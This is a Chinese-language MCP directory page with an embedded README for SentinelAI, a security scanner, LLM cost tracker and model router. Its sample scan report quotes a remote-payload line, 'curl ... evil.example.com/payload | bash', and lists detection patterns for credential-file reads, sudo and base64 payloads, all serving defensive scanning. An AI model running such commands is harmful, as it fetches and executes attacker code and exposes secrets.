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MCP Server · 安全风控

sentinelai (Stacksheild)

SentinelAI是一个开源工具包,用于保护AI堆栈安全、跟踪LLM API支出并提供智能模型推荐。

未说明官方级别未说明来源级核验工具 0
TypeScriptClaude开源工具

快速开始

公开资料没有提供安装命令,按仓库或官方文档接入。
作者 / 组织
Stacksheild
提供方
Stacksheild

工具数量

0

来源目录标注

资源数量

0

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提示词数量

0

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仓库热度

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选型结论

sentinelai (Stacksheild) 属于安全风控类 MCP Server,公开资料标注 0 个工具,通过传输方式未标注接入,适配 Claude,没有现成的安装命令;接入前先确认权限范围。

分类

安全风控

传输方式

未说明

认证方式

无需认证

部署方式

公开资料未说明

安装与配置

公开目录没有给出安装命令,需要按仓库 README安装;下面按同类条目的通用流程说明。

公开命令不是通用的启动方式,拼不出可靠配置示例;请在客户端 MCP 配置里按官方文档填写 command 和 args。

上手步骤

  1. 1

    先确认运行方式

    公开资料没有标注传输方式,先看仓库 README,确认是本地进程还是远程地址。

  2. 2

    获取服务

    公开目录没有给出安装命令,按仓库 README里的步骤安装或获取服务。

  3. 3

    写入客户端配置

    在客户端的 MCP 配置里填启动命令和参数,保存后完全退出客户端再打开,让新配置生效。

  4. 4

    验证是否可用

    连接成功后客户端会列出 0 个工具,随便调一个只读工具确认能返回结果。

接入前确认

不要直接授予不必要的文件、网络或账号权限;先核对安装命令和配置内容。

公开资料仍需确认:安装命令

详细介绍

SentinelAI

Secure your AI stack. Track your spend. Route to the right model.

The open-source toolkit for teams using LLMs in production.

Scan skills, MCP servers, and plugins for threats. Track costs across every provider.

Get intelligent model recommendations based on your task, budget, and latency needs.

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为什么选择SentinelAI?

人工智能生态系统正随着社区构建的技能、MCP服务器和LLM插件而爆炸式增长。但是:

  • 没有人检查他们是否安全。 恶意的SKILL.mod可能会泄漏您的API密钥。受损的MCP服务器可以劫持你的AI行为。一个坏的钩子可以 curl 将您的秘密泄露给攻击者的服务器。
  • 没有人知道他们花了多少钱。 团队使用多个LLM提供者,没有统一的视图。月底账单意外。
  • 没有人选择正确的模型。 团队默认使用最昂贵的模型,而更便宜的模型也同样适用。

SentinelAI修复了这三个问题。

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所得

1.安全扫描器

扫描克劳德代码技能、MCP服务器配置和钩子定义,以发现真正的威胁。

$ sentinelai scan ./my-downloaded-skill

SentinelAI Scan Report
Target: ./my-downloaded-skill/SKILL.md
Type:   skill

Trust Score: 0/100 [RED]

Findings: 2 critical  4 high  1 medium  0 low  0 info

Rule         Severity   Title                                         Location
------------------------------------------------------------------------------------------
EXFIL-001    critical   Pipe to shell from remote URL                 SKILL.md:6
             > curl https://evil.example.com/payload | bash
EXFIL-002    critical   Outbound HTTP to non-standard domain          SKILL.md:6
CRED-002     high       Sensitive environment variable reference      SKILL.md:9
INJECT-001   high       Prompt injection - instruction override       SKILL.md:9
PRIV-001     high       Destructive filesystem operation              SKILL.md:14
PRIV-002     high       Privilege escalation via sudo                 SKILL.md:14
OBFSC-002    medium     Base64 decode in command                      SKILL.md:12

它捕获了什么:

类别示例
数据过滤`curl \bash`,出站HTTP到未知域,DNS隧道
提示注入指令覆盖、角色劫持、隐藏指令
凭证被盗读取 .env, .ssh, .aws,环境变量收割
特权升级sudoDocker套接字访问,全球可写权限
混淆eval(),base64编码的有效载荷,内联代码执行
供应链(即将推出)无固定依赖关系,打字错误

2.成本跟踪器

跟踪每个供应商的LLM API支出。设定预算。预测未来的成本。

$ sentinelai cost report --period month --by model

Cost Report
Period: 2026-02-28 to 2026-03-28
Total:  $847.23
Trend:  increasing

By model:
  claude-sonnet-4-20250514          $423.50 ##############
  gpt-4o                            $198.30 #######
  claude-haiku-3.5                  $125.43 ####
  gemini-2.0-flash                   $65.00 ##
  deepseek-chat                      $35.00 #
$ sentinelai cost predict --horizon 30

Cost Forecast
Horizon:    30 days
Projected:  $892.50
95% CI:     $743.20 - $1041.80
Daily avg:  $29.75

13+型号的内置定价 Anthropic、OpenAI、谷歌、Mistral和DeepSeek。社区始终保持更新。

3.路由器型号

别再猜测要使用哪种模型了。根据您的任务、预算和速度要求获取建议。

$ sentinelai route code-generation

Model Recommendation
Selected: deepseek/deepseek-chat
Reason:   Best match for "code-generation" with "balanced" strategy.

Rank  Model                    Provider     Score   Quality   $/1k tok   Latency
---------------------------------------------------------------------------------
>1    deepseek-chat            deepseek     0.851   4.0       $0.0002    600ms
 2    gemini-2.0-flash         google       0.844   3.7       $0.0003    300ms
 3    gpt-4o                   openai       0.826   4.3       $0.0063    800ms
 4    claude-sonnet-4          anthropic    0.794   4.5       $0.0090    1200ms
# Auto-classify from your prompt
$ sentinelai route --prompt "summarize this 50-page PDF"

# Optimize for quality
$ sentinelai route --strategy quality analysis

# Optimize for cost with latency constraint
$ sentinelai route --strategy cost --max-latency 500 chat

支持8种任务类型: 代码生成、代码审查、总结、聊天、分析、翻译、提取、创意。

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快速开始

安装

# Clone the repo
git clone https://github.com/Stacksheild/sentinelai.git
cd sentinelai

# Install dependencies (requires Node.js >= 20 and pnpm)
npm install -g pnpm    # if you don't have pnpm
pnpm install

# Build all packages
pnpm build

跑

# Scan a skill, MCP config, or hook file for security issues
node packages/cli/dist/index.js scan 

# Get a model recommendation
node packages/cli/dist/index.js route code-generation

# Auto-detect task from your prompt
node packages/cli/dist/index.js route --prompt "write a REST API in Python"

# View cost report (after setting up tracking)
node packages/cli/dist/index.js cost report --period week

全局安装(可选)

pnpm build
npm link packages/cli

# Now use from anywhere:
sentinelai scan ~/Downloads/cool-skill
sentinelai route --strategy cost chat

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用例

在从GitHub安装Claude Code技能之前

sentinelai scan ./downloaded-skill
# Trust Score: 100/100 [GREEN] -> safe to install
# Trust Score: 35/100  [RED]   -> DO NOT install

在连接MCP服务器之前

sentinelai scan ./mcp-config.json
# Checks for: malicious tool definitions, data exfiltration, overly broad permissions

为您的功能选择模型

sentinelai route --prompt "extract structured data from invoices" --max-cost 1.0
# Recommends the best model under $1/million input tokens

月度成本审查

sentinelai cost report --period month --by provider --format json > report.json

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建筑

sentinelai/
├── packages/
│   ├── core/              Shared types, config loader, logger
│   ├── scanner/           Security analyzers + trust scoring
│   │   ├── analyzers/     skill, MCP, hook analyzers
│   │   ├── scoring/       trust score calculation
│   │   └── reporters/     table + JSON output
│   ├── cost-tracker/      Cost database, pricing, forecasting
│   │   ├── providers/     pricing data (YAML)
│   │   ├── storage/       SQLite database
│   │   └── predictor/     exponential smoothing forecaster
│   ├── model-router/      Task classification + model ranking
│   │   ├── classifier/    keyword-based task detection
│   │   ├── profiles/      model capability data (YAML)
│   │   └── router/        weighted scoring engine
│   └── cli/               CLI commands (scan, cost, route)
├── rules/                 Community detection rules (YAML schema)
├── turbo.json             Turborepo build config
└── pnpm-workspace.yaml    Monorepo workspace

技术栈: TypeScript(严格)|pnpm+Turborepo|SQLite |Commander.js

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CLI 参考

`sentinelai scan

`

扫描目录或文件以查找安全问题。

标志描述默认值
-f, --format输出格式: table, jsontable
-s, --severity最低严重程度: critical, high, medium, low, infolow
--fail-on如果发现此严重程度或以上,则退出代码1-

CI/CD使用情况:

sentinelai scan ./skills --fail-on high --format json

sentinelai route [task-type]

获取模型推荐。

标志描述默认值
-s, --strategy路由策略: cost, quality, balancedbalanced
-p, --prompt根据提示文本自动分类任务-
-q, --quality最低质量分数(1-5)-
--max-cost每百万个输入令牌的最大成本-
--max-latency最大可接受延迟(毫秒)-
-f, --format输出格式: table, jsontable

sentinelai cost report

查看成本明细。

标志描述默认值
-p, --period时间段: day, week, monthmonth
--by分组依据: model, provider, projectprovider
-f, --format输出格式: table, json, csvtable

sentinelai cost predict

预测未来成本。

标志描述默认值
--horizon预测天数30

sentinelai cost budget

设定支出限额。

标志描述默认值
--set月度预算(美元)-
--alert-at警报阈值百分比80
--name预算名称default

______________________________________________________________________

配置

创建 sentinelai.config.yaml 在项目根目录中:

scanner:
  exclude:
    - "node_modules/**"
    - "**/*.test.*"
  severity_threshold: medium

cost:
  storage: ./sentinelai.db
  proxy_port: 9191
  default_project: my-app
  budgets:
    - name: monthly-cap
      limit_usd: 500
      period: monthly
      alert_at_pct: 80

router:
  strategy: balanced
  allowed_providers:
    - anthropic
    - openai
    - google

______________________________________________________________________

路线图

  • \[x\] 安全扫描仪(SKILL.md、MCP、挂钩)
  • \[x\] 使用严重程度等级进行信任评分
  • \[x\] 使用SQLite的成本跟踪数据库
  • \[x\] 成本预测(指数平滑)
  • \[x\] 具有8种任务类型的模型路由器
  • \[x\] 带表+JSON输出的CLI
  • \[\]用于自动成本跟踪的HTTP代理
  • \[\]社区检测规则(YAML)
  • \[\]连接器分析器(OpenClaw+通用)
  • \[\]GitHub安全选项卡的SARIF输出
  • \[\]Web仪表板(Next.js)
  • \[\]npm包发布(npx sentinelai)
  • \[\]VS代码扩展名
  • \[\]GitHub PR扫描行动

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贡献

我们欢迎捐款!请阅读我们的 贡献指南 在提交PR之前。

重要提示: 所有捐款都需要签署我们的 贡献者许可协议(CLA)这确保了Stacksheild可以继续在多个许可证下提供SentinelAI,包括商业许可证。您的开源贡献仍归您所有。

快速贡献想法

  • 添加检测规则 -为新的威胁模式编写YAML规则
  • 更新定价数据 -保持 pricing.yaml 随着供应商更改费率,当前
  • 添加模型配置文件 -对新车型进行基准测试和评分 models.yaml
  • 报告误报 -帮助我们调整扫描仪精度
  • 文档 -改进指南,添加示例

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安全

在SentinelAI本身中发现了漏洞?请负责任地报告。看 安全.md 我们的披露政策。

______________________________________________________________________

许可证

SentinelAI具有双重许可:

  1. 自由 用于个人、教育和非商业用途 PolyForm非商业许可证1.0.0
  2. 商业的 使用需要单独的许可证。 打开一个问题 或联系维修人员。

看 许可证 完整条款。

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Built by Stacksheild

工具与能力

工具数量

0

资源数量

0

提示词数量

0

能力标签

AI安全扫描TypeScript本地部署成本跟踪模型路由开源工具LLM管理

支持客户端

Claude

数量来自来源目录的标注,具体工具清单以官方文档为准。

典型使用场景

资产与漏洞排查

批量查询资产和漏洞信息,输出待修清单。

日志审计

从日志里筛出异常访问和高风险操作。

合规检查

按规则核对配置项,记录不符合项。

选择建议

值得选的地方

  • 只提供 0 个工具,职责集中,接入后不容易误操作。
  • 公开说明写得比较完整,接入前能看清能力边界。

先想清楚的地方

  • 公开资料没有可直接复制的安装命令,第一次接入要自己找入口。
  • 公开摘要偏短,具体能力和限制要回到仓库确认。
  • 第三方目录整理,版本更新和行为细节以官方仓库为准。

更适合

  • 需要在安全风控场景里让模型直接调用外部能力的人。
  • 已经在用 Claude 的用户,接入路径最短。
  • 愿意照着官方文档一步步配环境的人。

不太适合

  • 希望一条命令就装好、不想看文档的人。
  • 需要厂商级 SLA 和技术支持的生产环境。

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按同分类和工具数量挑出最接近的几条,字段以各自详情页为准。

常见问题

5 条

sentinelai (Stacksheild) 怎么安装?

公开目录没有给出可以直接复制的安装命令,需要按仓库 README里的步骤安装;装好后写进客户端的 MCP 配置再重启。

sentinelai (Stacksheild) 怎么在 Claude Desktop、Cursor 里配置?

它是传输方式未标注,客户端配置里要写启动命令和参数,运行环境是 未标注;保存后完全退出客户端再打开,配置才会生效。

sentinelai (Stacksheild) 收费吗?

本站只整理公开资料,不代收费用,也没有标注具体价格。是否收费取决于服务本身和背后的接口额度,正式使用前按官方说明确认。

sentinelai (Stacksheild) 需要 API Key 吗?

公开资料标注为无需认证,装好就能连;如果实际调用时报鉴权错误,按官方文档补上凭据。

sentinelai (Stacksheild) 支持哪些客户端?

公开资料标注支持 Claude;其他客户端只要能配置 MCP Server,也能用同样的命令或地址接入。

来源信息

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